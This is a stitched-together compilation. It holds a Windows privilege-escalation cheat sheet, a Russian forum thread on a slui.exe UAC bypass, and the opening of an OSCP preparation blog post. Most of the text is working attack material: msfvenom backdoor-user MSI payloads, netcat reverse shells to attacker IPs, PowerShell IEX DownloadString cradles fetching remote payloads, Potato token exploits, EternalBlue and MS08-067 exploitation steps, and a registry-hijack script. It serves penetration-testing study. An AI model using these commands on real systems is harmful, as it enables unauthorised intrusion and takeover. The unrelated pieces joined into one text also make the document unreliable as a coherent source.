$ reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated $ reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated $ Get-ItemProperty HKLMSoftwarePoliciesMicrosoftWindowsInstaller $ Get-ItemProperty HKCUSoftwarePoliciesMicrosoftWindowsInstaller
Then create an MSI package and install it.
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi $ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi $ msiexec /quiet /qn /i C:evil.msi
Technique also available in :
- Metasploit :
exploit/windows/local/always_install_elevated
- PowerUp.ps1 :
Get-RegistryAlwaysInstallElevated
,Write-UserAddMSI
EoP — Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: «Windows Help and Support» (Windows + F1), search for «command prompt», click on «Click to open Command Prompt»
EoP — Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don’t spend enough time looking at this:
# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery PS C:UsersSwissky> driverquery.exe /fo table Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM 3ware 3ware Kernel 5/18/2015 6:28:03 PM ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM <SNIP> PS C:UsersSwissky> DriverQuery.exe --no-msft [+] Enumerating driver services... [+] Checking file signatures... Citrix USB Filter Driver Service Name: ctxusbm Path: C:Windowssystem32DRIVERSctxusbm.sys Version: 14.11.0.138 Creation Time (UTC): 17/05/2018 01:20:50 Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US <SNIP>
EoP — Printers
Universal Printer
Create a Printer
$printerName = 'Universal Priv Printer' $system32 = $env:systemroot + 'system32' $drivers = $system32 + 'spooldrivers' $RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPrintPrinters' + $printerName Copy-Item -Force -Path ($system32 + 'mscms.dll') -Destination ($system32 + 'mimispool.dll') Copy-Item -Force -Path '.mimikatz_trunkx64mimispool.dll' -Destination ($drivers + 'x643mimispool.dll') Copy-Item -Force -Path '.mimikatz_trunkwin32mimispool.dll' -Destination ($drivers + 'W32X863mimispool.dll') Add-PrinterDriver -Name 'Generic / Text Only' Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared New-Item -Path ($RegStartPrinter + 'CopyFiles') | Out-Null New-Item -Path ($RegStartPrinter + 'CopyFilesKiwi') | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Directory' -PropertyType 'String' -Value 'x643' | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null New-Item -Path ($RegStartPrinter + 'CopyFilesLitchi') | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X863' | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null New-Item -Path ($RegStartPrinter + 'CopyFilesMango') | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
Execute the driver
$serverName = 'dc.purple.lab' $printerName = 'Universal Priv Printer' $fullprinterName = '\' + $serverName + '' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue Add-Printer -ConnectionName $fullprinterName
Bring Your Own Vulnerability
Concealed Position : https://github.com/jacob-baines/concealed_position
- ACIDDAMAGE — CVE-2021-35449 — Lexmark Universal Print Driver LPE
- RADIANTDAMAGE — CVE-2021-38085 — Canon TR150 Print Driver LPE
- POISONDAMAGE — CVE-2019-19363 — Ricoh PCL6 Print Driver LPE
- SLASHINGDAMAGE — CVE-2020-1300 — Windows Print Spooler LPE
cp_server.exe -e ACIDDAMAGE # Get-Printer # Set the "Advanced Sharing Settings" -> "Turn off password protected sharing" cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE cp_client.exe -l -e ACIDDAMAGE
EoP — Runas
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUPAdministrator Type: Domain Password User: WORKGROUPAdministrator
Then you can use runas
with the /savecred
options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUPAdministrator "\10.XXX.XXX.XXXSHAREevil.exe" runas /savecred /user:Administrator "cmd.exe /k whoami"
Using runas
with a provided set of credential.
C:WindowsSystem32runas.exe /env /noprofile /user:<username> <password> "c:usersPublicnc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd) $computer = "<hostname>" [System.Diagnostics.Process]::Start("C:userspublicnc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
EoP — Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Privilege Escalation.
# List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows # List shadow copies using diskshadow diskshadow list shadows all # Make a symlink to the shadow copy and access it mklink /d c:shadowcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
EoP — From local administrator to NT SYSTEM
EoP — Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra «unexpected» functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses - Have functionality that would be useful to an APT or red team
wmic.exe process call create calc regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll Microsoft.Workflow.Compiler.exe tests.xml results.xml
EoP — Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
Privilege | Impact | Tool | Execution path | Remarks |
---|---|---|---|---|
SeAssignPrimaryToken |
Admin | 3rd party tool | «It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe» | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeBackup |
Threat | Built-in commands | Read sensitve files with robocopy /b |
— May be more interesting if you can read %WINDIR%MEMORY.DMP
— — Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
SeCreateToken |
Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken . |
|
SeDebug |
Admin | PowerShell | Duplicate the lsass.exe token. |
Script to be found at FuzzySecurity |
SeLoadDriver |
Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys or capcom.sys 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with |
1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was created by Parvez Anwar |
SeRestore |
Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTakeOwnership |
Admin | Built-in commands | 1. takeown.exe /f "%windir%system32" 2. icalcs.exe "%windir%system32" /grant "%username%":F 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTcb |
Admin | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.
To be verified. |
Restore A Service Account’s Privileges
This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
# https://github.com/itm4n/FullPowers c:TOOLS>FullPowers [+] Started dummy thread with id 9976 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z
Meterpreter getsystem and alternatives
meterpreter> getsystem Tokenvator.exe getsystem cmd.exe incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe psexec -s -i cmd.exe python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
RottenPotato (Token Impersonation)
- Binary available at : https://github.com/foxglovesec/RottenPotato
- Binary available at : https://github.com/breenmachine/RottenPotatoNG
getuid
getprivs
use incognito
list_tokens -u
cd c:temp
execute -Hc -f ./rot.exe
impersonate_token "NT AUTHORITYSYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "labdomainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITYSYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');"};"
Juicy Potato (Abusing the golden privileges)
If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 — Try Juicy Potato
- Binary available at : https://github.com/ohpe/juicy-potato/releases
-
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
-
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
- Windows 7 Enterprise
- Windows 8.1 Enterprise
- Windows 10 Enterprise
- Windows 10 Professional
- Windows Server 2008 R2 Enterprise
- Windows Server 2012 Datacenter
- Windows Server 2016 Standard
-
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:interpubwwwrootuploadnc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:usersUserrev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:WindowsSystem32cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:usersUserreverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITYSYSTEM [+] CreateProcessWithTokenW OK
Rogue Potato (Fake OXID Resolver)
- Binary available at https://github.com/antonioCoco/RoguePotato
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999 # RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. # Use this if you have fw restrictions. RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe" # RoguePotato all in one with RogueOxidResolver running locally on port 9999 RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe" -l 9999 #RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
- Binary available at https://github.com/zcgonvh/EfsPotato
# .NET 4.x csc EfsPotato.cs csc /platform:x86 EfsPotato.cs # .NET 2.0/3.5 C:WindowsMicrosoft.NetFrameworkV3.5csc.exe EfsPotato.cs C:WindowsMicrosoft.NetFrameworkV3.5csc.exe /platform:x86 EfsPotato.cs
EoP — Privileged File Write
DiagHub
⚠️ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:WindowsSystem32
directory.
Exploit
- Create an evil DLL e.g: payload.dll and move it into
C:WindowsSystem32
- Build https://github.com/xct/diaghub
diaghub.exe c:\ProgramData\ payload.dll
The default payload will run C:WindowsSystem32spooldriverscolornc.exe -lvp 2000 -e cmd.exe
Alternative tools:
- https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
- https://github.com/decoder-it/diaghub_exploit
UsoDLLLoader
⚠️ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
An alternative to the DiagHub DLL loading «exploit» found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll
into C:WindowsSytem32
and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITYSystem.
Exploit
- Build https://github.com/itm4n/UsoDllLoader
- Select Release config and x64 architecure.
- Build solution.
- DLL .x64ReleaseWindowsCoreDeviceInfo.dll
- Loader .x64ReleaseUsoDllLoader.exe.
- Copy
WindowsCoreDeviceInfo.dll
toC:WindowsSystem32
- Use the loader and wait for the shell or run
usoclient StartInteractiveScan
and connect to the bind shell on port 1337.
WerTrigger
Weaponizing for privileged file writes bugs with Windows problem reporting
- Clone https://github.com/sailay1996/WerTrigger
- Copy
phoneinfo.dll
toC:WindowsSystem32
- Place
Report.wer
file andWerTrigger.exe
in a same directory. - Then, run
WerTrigger.exe
. - Enjoy a shell as NT AUTHORITYSYSTEM
EoP — Common Vulnerabilities and Exposure
MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
Metasploit modules to exploit MS08-067 NetAPI
.
exploit/windows/smb/ms08_067_netapi
If you can’t use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40" -f py -v shellcode -a x86 --platform windows Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX) python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) — Microsoft Windows NT/2000/2003/2008/XP/Vista/7
‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199 Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) — Microsoft Windows XP/2003
Python: https://www.exploit-db.com/exploits/18176 Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) — Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command n"); printf("[#] eg: ms15-051 "whoami /all" n"); # x32 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe # x64 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 use exploit/windows/local/ms15_051_client_copy_image
MS16-032 — Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell: https://www.exploit-db.com/exploits/39719/ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 Binary exe : https://github.com/Meatballs1/ms16-032 Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion
.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
If you can’t use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010 # generate a simple reverse shell to use msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe python2 send_and_execute.py 10.0.0.1 revshell.exe
CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
References
- Windows Internals Book — 02/07/2017
- icacls — Docs Microsoft
- Privilege Escalation Windows — Philip Linghammar
- Windows elevation of privileges — Guifre Ruiz
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- Basic Linux Privilege Escalation
- Windows Privilege Escalation Fundamentals
- TOP–10 ways to boost your privileges in Windows systems — hackmag
- The SYSTEM Challenge
- Windows Privilege Escalation Guide — absolomb’s security blog
- Chapter 4 — Windows Post-Exploitation — 2 Nov 2017 — dostoevskylabs
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability — September 18th, 2016 — Robert Russell
- Pentestlab.blog — WPE-01 — Stored Credentials
- Pentestlab.blog — WPE-02 — Windows Kernel
- Pentestlab.blog — WPE-03 — DLL Injection
- Pentestlab.blog — WPE-04 — Weak Service Permissions
- Pentestlab.blog — WPE-05 — DLL Hijacking
- Pentestlab.blog — WPE-06 — Hot Potato
- Pentestlab.blog — WPE-07 — Group Policy Preferences
- Pentestlab.blog — WPE-08 — Unquoted Service Path
- Pentestlab.blog — WPE-09 — Always Install Elevated
- Pentestlab.blog — WPE-10 — Token Manipulation
- Pentestlab.blog — WPE-11 — Secondary Logon Handle
- Pentestlab.blog — WPE-12 — Insecure Registry Permissions
- Pentestlab.blog — WPE-13 — Intel SYSRET
- Alternative methods of becoming SYSTEM — 20th November 2017 — Adam Chester @xpn
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Common Windows Misconfiguration: Services — 2018-09-23 — @am0nsec
- Local Privilege Escalation Workshop — Slides.pdf — @sagishahar
- Abusing Diaghub — xct — March 07, 2019
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Project Zero — Wednesday, April 18, 2018
- Weaponizing Privileged File Writes with the USO Service — Part 2/2 — itm4n — August 19, 2019
- Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows
- Abusing SeLoadDriverPrivilege for privilege escalation — 14 — JUN — 2018 — OSCAR MALLO
- Universal Privilege Escalation and Persistence – Printer — AUGUST 2, 2021)
Всем доброго времени суток колеги.
Сегодня речь пойдет об относительно новом способе обхода User Account Control (
Ссылка скрыта от гостей
) и способе (
Ссылка скрыта от гостей
) — поднятия привилегий в системе Windows 8-10 x64 и x86 системах.
PS: Пишу сразу на двух форумах по этому :
CopyRights: <<<MisterBert0ni aka DarkNode>>>
СОДЕРЖАНИЕ СТАТЬИ:
- Описания работы эксплоита
- Демонстрация работы эксплоита
- Вспомним про Web Delivery через PowerShell
- Вспомним про RegSVR способ подгрузки
- Похожие эксплоиты
Имя: Slui File Handler Hijak LPE
Дата публикации: 15.01.2018
Целевая ОС: Microsoft Windows
Патч: НЕТУ
Уязвимые версии: Windows 8-10 (x64 и x86)
Ссылка на сам експлоит
ПРИНЦИП РАБОТЫ ЭКСПЛОЙТА:
В операционной системе Windows версии 8-10 был обнаружен бинарный файл slui.exe — который является auto-elevated приложением ,так сказать — самоповышаемым.
Это дает возможность использовать обработчик
Ссылка скрыта от гостей
й для хайджекинга в привилегированый процесс.
Простыми словамя говоря:
Мы создаем в реестре Windows запись , которая скажет что при открытии всех *.EXE файлов — будет выполнятся наша команда или вредоносный файл, после чего запускаем slui.exe , соответственно вместо slui.exe запустится наш пейлоад от имени администратора.
Для того чтобы понять как это работает давайте приступим к практической части:
1) Допустим у нас сессия без повышеных привилегий
2)Соотведственно, для того что бы все это вручную не писать , давайте подготовим простой скрипт для PowerShell:
Код:
#Out Command | Наш пейлоад в моем случае вектор Web Delivery
$command = "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://192.168.1.79/')"
#Create Registry KEY | Создаем ключ в реестре для асоциации бинарных файлов и прописываем действие обработчику EXE файлов:
New-Item "HKCU:SoftwareClassesexefileshellopencommand" -Force
New-ItemProperty -Path "HKCU:SoftwareClassesexefileshellopencommand" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:SoftwareClassesexefileshellopencommand" -Name "(default)" -Value $command -Force
#Start slui.exe as Admin | Запускаем от имени админа
Start-Process "C:WindowsSystem32slui.exe" -Verb runas
#Remove registry structure | Удаляем асоциацию файлов
Start-Sleep 3
Remove-Item "HKCU:SoftwareClassesexefileshell" -Recurse -Force
В качестве вектора атаки я использовал Web Delivery , более подробно о нем я писал ранее в своей статье.
Так же имеет место быть вектор через regsvr32 , и огромное спасибо нашему коллеге @gushmazuko за то что написал готовый скрипт на PowerShell для работы с этим
вектором , готовый скрипт вы можете взять на его странице гитхаба
3)После того как мы набросали список действий в наш скрипт — ложим где-то на вебсервер ( в моем случае в условиях учебной практике — это локальная машина )
И запускаем на стороне жертвы тем же Web Delivery методом в моем случае:
4) Ловим сессию с повышеными привилегиями
Благодарность : @gushmazuko
Всем спасибо) С вами был DarkNode
Работа regsvr32 вектора покажу в видео)
Последнее редактирование: 27.03.2018
-
#2
Не будет ли подниматься сессия пользователя при открытие любого exe пользователем а не админом?
-
#3
Не будет ли подниматься сессия пользователя при открытие любого exe пользователем а не админом?
Нет. В случае с пользователем — запросит пароль администратора. Этот вектор нацелен на обход UAC.
-
#4
Хотелось бы внести небольшие правки в орфографию, не сочтите за грубость, но:
- Слово соотвеТственно пишется через Т, а не Д
- Слово колЛеге пишется с двумя Л, а не с одной
- Слово «где-то» пишется через тире
Далее я уверен, что автор торопился, поэтому у него были некоторые «очепятки»:
- «подготим» на подготовим
- «Свами» раздельно
- «смасибо» на спасибо
- «говотый» на готовый
- «приступи»на приступим
- «процес» на процесс
- «что бы» в данном случае слитно
Ещё раз извиняюсь, но писать на такую тематику надо грамотно.
Исправляйтесь в следующий статьях, DarkNode!
-
#5
Хотелось бы внести небольшие правки в орфографию, не сочтите за грубость, но:
- Слово соотвеТственно пишется через Т, а не Д
- Слово колЛеге пишется с двумя Л, а не с одной
- Слово «где-то» пишется через тире
Далее я уверен, что автор торопился, поэтому у него были некоторые «очепятки»:
- «подготим» на подготовим
- «Свами» раздельно
- «смасибо» на спасибо
- «говотый» на готовый
- «приступи»на приступим
- «процес» на процесс
- «что бы» в данном случае слитно
Ещё раз извиняюсь, но писать на такую тематику надо грамотно.
Исправляйтесь в следующий статьях, DarkNode!
Спасибо за поправки) Постараюсь уделить больше внимания )
-
#6
Мне всегда непонятно почему обходы UAC называют LPE,это не совсем так,да,это полезно,чтобы там завести мимикатз и тд,но обходы UAC все подразумевают запуск от Привилегированного изначально юзера.Вот ms16-032,это классический эксплойт LPE,запуская от любого пользователя,через повершелл,и через много векторов я получаю NT Authority/SYSTEM,то есть права системы что выше Админа.А обход UAC =обход UAC,и помощь в LPE,но не классическая эскалация привилегий
a113
-
#7
Сколько бы не читал статьи, да и комментарии, Dark Node (aka MisterBert0ni ), не перестаю удивляться хакерскому таланту этого человека.
Огромное спасибо за статьи!
-
#8
Мне всегда непонятно почему обходы UAC называют LPE,это не совсем так,да,это полезно,чтобы там завести мимикатз и тд,но обходы UAC все подразумевают запуск от Привилегированного изначально юзера.Вот ms16-032,это классический эксплойт LPE,запуская от любого пользователя,через повершелл,и через много векторов я получаю NT Authority/SYSTEM,то есть права системы что выше Админа.А обход UAC =обход UAC,и помощь в LPE,но не классическая эскалация привилегий
Совершенно верное замечание. По сути это не LPE ( но тут имеется ввиду повышение привилегий в контексте «От не привилигерованного шелла до привилигерованного»
Это всего лишь базовая демонстрация техники обхода UAC через autoevelated приложения.
Таких приложений на самом деле очень и очень много, например тут можно найти такой список (в грей секшн создал пост с ссылкой)
Куда проще обходить UAC через token impersonation
rajan00
-
#9
Если вы обнаружите, что все невообразимо, вы можете посмотреть
Ссылка скрыта от гостей
категории для лучшего обзора.
Introduction
The Offensive Security Certified Professional is an ethical hacking certification offered by Offensive Security that teaches penetration testing methodologies and the use of the tools included with the Kali Linux distribution.
It comes with the Penetration Testing with Kali video and PDF course and it’s one of the major certifications in the penetration testing world. In this article I take the time to talk about the journey that brought me to achieving this certification, all of the steps I followed, the learning material and platforms I used to prepare etc.
Background
Before I decided to take the OSCP, most of my penetration testing experience came from online capture the flag challenges, as my job involved information security but not so much pentesting. I had a very good understanding of the Linux operating system and bash as I had been using Linux for 5/6 years, networking and fundamental security concepts.
I had completed a fair number of Udemy courses on the subject, which can be found in this article, although I felt like the knowledge I gained was very disparate and hard to apply in real life situations.
I had previously obtained the CompTIA A+, Network+, Security+ and Pentest +, and the eLearnSecurity Junior Penetration Tester.
After doing some of the certifications and courses listed above, along with some of the challenges on Hack the Box, I felt it was time to aim for OSCP.
Pre-Registration
I started preparing for the certification just after the beginning of 2020, I started with a few books and some online material.
Books/Courses
- Red Team Field Manual – A thorough reference guide for Red Team members which contains the basic syntax for common command line tools, unique use cases for Python and Windows PowerShell, Windows wmic and dsquery tools, key registry values, scheduled tasks syntax, startup locations and Windows scripting.
- The Hacker Playbook 3 – This is the third version of the Hacker Playbook series, it includes full walkthroughs that simulate real life scenarios, with techniques that included but aren’t limited to , web application exploitation, active directory, lateral movement, privilege escalation and much more.
- Python for Pentesters – A course from Pentester Academy that covers a lot of penetration testing related use cases on Python such as sniffers and packet injectors, malware analysis and reverse engineering, attack task automation and much more.
Online OSCP Preparation Guides
I also looked at a few OSCP guides to start giving my preparation path a bit more shape:
- A Detailed Guide on OSCP Preparation – From Newbie to OSCP
- Journey to OSCP – 10 Things You Need to Know
- TJnull’s Preparation Guide for PWK/OSCP
Online Challenges
The first practice I have done was completing some online challenges from the following platforms:
- OverTheWire – Bandit, Leviathan, Natas, Krypton, Narnia and Behemoth.
- UnderTheWire – Century, Cyborg and Groot
- Root Me – Web Client and Web Server challenges
VulnHub Practice Machines
I then proceeded with some practice with the following machines from Vulnhub, updating my notes every time I had found a new tool or technique.
Kioptrix Level 1 | Sickos 1.2 |
Kioptrix Level 1.1 | Skytower 1 |
Kioptrix Level 1. 2 | DC416 |
Kioptrix Level 1. 3 | Lin.Security |
Stapler 1 | Zico2 |
FristiLeaks 1.3 | Lord of the root 1.0.1 |
PwnLab:init | Web developer 1 |
Kioptrix 2014 | DC 6 |
Mr robot 1 | Solidstate |
